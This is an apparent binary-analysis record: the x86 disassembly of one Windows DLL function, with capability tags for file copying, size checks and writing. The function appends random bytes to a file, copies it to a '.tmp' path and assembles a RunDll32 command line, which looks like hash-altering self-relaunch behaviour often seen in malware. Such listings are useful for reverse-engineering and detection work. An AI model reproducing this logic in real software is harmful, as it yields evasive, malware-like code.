Function at 0x1001aac9
Capabilities:
Copy file
Get file size
Write file on windows

Disassembly:
push 0x110
mov eax, 0x10044fcd
call fcn.1002eafc
push dword [0x1005c010]
mov dword [ebp - 0x11c], ecx
xor ebx, ebx
mov ecx, 0x1005b47c
mov dword [ebp - 4], ebx
call fcn.10007476
cmp dword [eax + 0xc], 8
mov dword [ebp - 0x108], eax
jne 0x1001ac88
cmp dword [0x1005c0bc], 0x10
mov eax, dword [0x1005c0a8]
jae 0x1001ab16
mov eax, 0x1005c0a8
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xfc], eax
call fcn.100214e6
mov ecx, eax
call fcn.1002150c
push 0x1e
cdq
pop ecx
idiv ecx
lea esi, [edx + 1]
shl esi, 0xc
push esi
call fcn.1002bb4d
mov edi, eax
pop ecx
cmp edi, ebx
je 0x1001abd5
mov dword [ebp - 0xf8], ebx
cmp dword [ebp - 0xf8], esi
jae 0x1001ab8a
call fcn.100214e6
mov ecx, eax
call fcn.1002150c
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0xf8]
inc dword [ebp - 0xf8]
mov byte [eax + edi], dl
jmp 0x1001ab5d
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0xfc]
mov dword [ebp - 0x118], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push eax
push dword [ebp - 0xfc]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x114]
push eax
push esi
push edi
push dword [ebp - 0xfc]
mov dword [ebp - 0x114], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.1002e59e
pop ecx
push dword [ebp - 0xfc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
mov esi, 0x10048d54
push esi
mov byte [ebp - 4], 1
call fcn.1002dd10
pop ecx
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.1000156f
push 0xffffffffffffffff
push ebx
push 0x1005c0a8
lea ecx, [ebp - 0x30]
call fcn.100014d5
mov eax, dword [ebp - 0x108]
push 0xffffffffffffffff
push ebx
add eax, 0xe0
push eax
lea ecx, [ebp - 0x30]
call fcn.100014d5
push esi
call fcn.1002dd10
pop ecx
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.1000156f
lea ecx, [ebp - 0x110]
call fcn.10027b2b
cmp dword [ebp - 0x1c], 0x10
mov eax, dword [ebp - 0x30]
mov byte [ebp - 4], 2
jae 0x1001ac5b
lea eax, [ebp - 0x30]
push 1
push eax
lea ecx, [ebp - 0x110]
call fcn.10027ddb
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 1
call fcn.10027b34
push ebx
push 1
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], bl
call fcn.100012ee
jmp 0x1001ac8d
mov esi, 0x10048d54
lea ecx, [ebp - 0x10c]
call fcn.100024ff
push 0x1005c0a8
push 0x1005c08c
push 0x1005c070
push 0x1005c0c4
push dword [ebp - 0x108]
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 3
call fcn.10002524
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax + 4]
mov edi, dword [eax + 0x1c]
lea ecx, [ebp - 0x100]
call fcn.10027b2b
push edi
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 4
call fcn.10027e7a
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 5
call fcn.10011500
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 6
call fcn.10011ba2
push str..tmp
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 4], 7
call fcn.10001cc6
add esp, 0xc
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 8
call fcn.10001979
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 7
call fcn.100012ee
cmp dword [ebp - 0x38], 0x10
mov ecx, dword [ebp - 0x4c]
jae 0x1001ad54
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x84]
jae 0x1001ad66
lea eax, [ebp - 0x84]
push ebx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x30]
push esi
push eax
call fcn.1000e414
add esp, 0xc
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 9
call fcn.10001979
push ebx
push edi
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 7
call fcn.100012ee
push esi
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.10001cc6
add esp, 0xc
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0xa
call fcn.10001979
push ebx
push edi
lea ecx, [ebp - 0x30]
call fcn.100012ee
mov dword [ebp - 0x54], 0xf
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
push str.RunDll32
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0xb
call fcn.10002b9d
lea ecx, [ebp - 0x4c]
push ecx
push eax
lea eax, [ebp - 0xa0]
push eax
mov byte [ebp - 4], 0xc
call fcn.10001d34
add esp, 0xc
push 0x100476c4
push eax
lea eax, [ebp - 0xf4]
push eax
mov byte [ebp - 4], 0xd
call fcn.10003050
add esp, 0xc
push 0x10048d3c
push eax
lea eax, [ebp - 0xbc]
push eax
mov byte [ebp - 4], 0xe
call fcn.10003050
add esp, 0xc
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0xf
call fcn.10001979
push ebx
push edi
lea ecx, [ebp - 0xbc]
call fcn.100012ee
push ebx
push edi
lea ecx, [ebp - 0xf4]
call fcn.100012ee
push ebx
push edi
lea ecx, [ebp - 0xa0]
call fcn.100012ee
push ebx
push edi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0xb
call fcn.100012ee
cmp dword [ebp - 0x54], 0x10
mov eax, dword [ebp - 0x68]
jae 0x1001ae7f
lea eax, [ebp - 0x68]
push ebx
push eax
lea ecx, [ebp - 0x100]
call fcn.10027ddb
push 0xffffffffffffffff
push ebx
push 0x1005c014
mov ecx, 0x1009c1e0
call fcn.10001608
push ebx
push edi
lea ecx, [ebp - 0x68]
call fcn.100012ee
push ebx
push edi
lea ecx, [ebp - 0x4c]
call fcn.100012ee
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 5
call fcn.10011509
push ebx
push edi
lea ecx, [ebp - 0x84]
call fcn.100012ee
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 3
call fcn.10027b34
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], bl
call fcn.10002508
push 0x15
jmp 0x1001aef7
pop eax
call fcn.1002eb58
ret